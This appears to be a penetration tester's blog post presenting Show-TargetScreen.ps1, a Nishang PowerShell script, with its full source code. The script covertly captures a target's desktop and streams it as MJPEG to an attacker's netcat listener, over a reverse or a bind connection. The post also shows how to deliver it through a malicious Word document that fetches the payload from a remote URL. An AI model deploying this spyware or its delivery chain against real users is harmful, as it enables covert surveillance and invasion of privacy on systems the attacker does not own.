Stream a target’s Desktop using MJPEG and PowerShell

Recently, I have been working on an interesting concept. I wanted to use MJPEG to stream images in real time from a target desktop to be able to see the activity of a target user. I literally spent weeks to get it working but in the end, it turned out that a small piece of PowerShell code could be used to achieve this. Anyway, I give you Show-TargetScreen.ps1. This script can stream a target’s desktop in real time and the stream could be seen in browsers which support MJPEG (Firefox).

Show-TargetScreen is available in the Gather category of Nishang. The current source code looks like this:

function Show-TargetScreen<br />{<br /><#<br />.SYNOPSIS<br />Nishang script which can be used for streaming a target's desktop using MJPEG.<br /><br />.DESCRIPTION<br />This script uses MJPEG to stream a target's desktop in real time. It is able to connect to a standard netcat listening<br />on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.<br /><br />A netcat listener which relays connection to a local port could be used as listener. A browser which supports MJPEG (Firefox) <br />should then be pointed to the local port to see the remote desktop.<br /><br />The script should be used with Client Side Attacks. <br /><br />.PARAMETER IPAddress<br />The IP address to connect to when using the -Reverse switch.<br /><br />.PARAMETER Port<br />The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.<br /><br />.EXAMPLE<br />PS > Show-TargetScreen -Reverse -IPAddress 192.168.2301.1 -Port 443<br /><br />Above shows an example of aa reverse connection. A netcat/powercat listener must be listening on <br />the given IP and port. <br /><br />.EXAMPLE<br />PS > Out-Word -PayloadURL "http://192.168.1.6/Show-TargetScreen.ps1" -Arguments "Show-TargetScreen -Reverse -IPAddress 192.168.1.6 -Port 443"<br /><br />Above shows an example using the script in a client side attack. <br /><br />.EXAMPLE<br />PS > Show-TargetScreen -Bind -Port 1234<br /><br />Above shows an example of bind mode. Point Firefox to the IPAddress of the target and given port to see user's Desktop.<br /><br /><br />.LINK<br />http://www.labofapenetrationtester.com/2015/12/stream-targets-desktop-using-mjpeg-and-powershell.html<br />https://github.com/samratashok/nishang<br />#>   <br />    <br />    [CmdletBinding(DefaultParameterSetName="reverse")] Param(<br /><br />        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]<br />        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]<br />        [String]<br />        $IPAddress,<br /><br />        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]<br />        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]<br />        [Int]<br />        $Port,<br /><br />        [Parameter(ParameterSetName="reverse")]<br />        [Switch]<br />        $Reverse,<br /><br />        [Parameter(ParameterSetName="bind")]<br />        [Switch]<br />        $Bind<br /><br />    )<br />    <br />    while ($true)<br />    {<br />        try<br />        {<br />            Add-Type -AssemblyName System.Windows.Forms<br />            [System.IO.MemoryStream] $MemoryStream = New-Object System.IO.MemoryStream<br /><br />            #Connect back if the reverse switch is used.<br />            if ($Reverse)<br />            {<br />                $socket = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)<br />                $socket.Connect($IPAddress,$Port)<br />                Write-Verbose "Connected to $IPAddress"<br />            }<br /><br />            #Bind to the provided port if Bind switch is used.<br />            if ($Bind)<br />            {<br />                #Start a listener<br />                $endpoint = new-object System.Net.IPEndPoint ([system.net.ipaddress]::any, $Port)<br />                $server = new-object System.Net.Sockets.TcpListener $endpoint<br />                $server.Start()<br />                $buffer = New-Object byte[] 1024<br />                $socket = $server.AcceptSocket()<br />        <br />            } <br />    <br />        <br />            #https://evilevelive.wordpress.com/2009/03/09/web-server-written-in-powershell/<br />            function SendResponse($sock, $string)<br />            {<br />                if ($sock.Connected)<br />                {<br />                    $bytesSent = $sock.Send(<br />                    $string)<br />                    if ( $bytesSent -eq -1 )<br />                    {<br />                        Write-Output "Send failed to " + $sock.RemoteEndPoint<br />                    }<br />                }<br />            }<br /><br />            function SendStrResponse($sock, $string)<br />            {<br />                if ($sock.Connected)<br />                {<br />                    $bytesSent = $sock.Send(<br />                    [text.Encoding]::Ascii.GetBytes($string))<br />                    if ( $bytesSent -eq -1 )<br />                    {<br />                        Write-Output ("Send failed to " + $sock.RemoteEndPoint)<br />                    }<br />                }<br />            }<br />            #Create the header for MJPEG stream<br />            function SendHeader(<br />                [net.sockets.socket] $sock,<br />                $length,<br />                $statusCode = "200 OK",<br />                $mimeHeader="text/html",<br />                $httpVersion="HTTP/1.1"<br />                )<br />            {<br />                $response = "HTTP/1.1 $statusCode`r`n" +<br />                "Content-Type: multipart/x-mixed-replace; boundary=--boundary`r`n`n"<br />                SendStrResponse $sock $response<br />                Write-Verbose "Header sent to $IPAddress"<br />            }<br /><br />            #Send the header<br />            SendHeader $socket<br /><br />            while ($True)<br />            {<br /><br />                $b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)<br />                $g = [System.Drawing.Graphics]::FromImage($b)<br />                $g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)<br />                $g.Dispose()<br />                $MemoryStream.SetLength(0)<br />                $b.Save($MemoryStream, ([system.drawing.imaging.imageformat]::jpeg))<br />                $b.Dispose()<br />                $length = $MemoryStream.Length<br />                [byte[]] $Bytes = $MemoryStream.ToArray()<br />        <br />                #Set the boundary for the multi-part request<br />                $str = "`n`n--boundary`n" +<br />                "Content-Type: image/jpeg`n" +<br />                "Content-Length: $length`n`n"<br />        <br />                #Send Requests<br />                SendStrResponse $socket $str<br />                SendResponse $socket $Bytes<br />            }<br />            $MemoryStream.Close()<br />        }<br />        catch<br />        {<br />            Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." <br />            Write-Error $_<br />        }<br />    }<br />}<br /><br />

Now, to be able to stream a user’s Desktop, Show-TargetScreen must be used with a client side attack. Let’s use it with Out-Word from Nishang. Since like other Nishang scripts, Show-TargetScreen.ps1 loads a function with same name, we should pass an argument -“Show-TargetScreen -Reverse -IPAddress 192.168.1.6 -Port 443”, and use it as a payload for Out-Word. 

Now if we point Firefox to http://127.0.0.1:9000, we have a live stream of the target user’s Desktop.

Awesome! Isn’t it? I recently tried this in couple of pen tests and was quite satisfied with the results.

Couple of things which I would like to improve in future:
– Proxy support
– HTTPS Connection.

Feel free to suggest improvements and submit pull requests. Feedback and comments are welcome.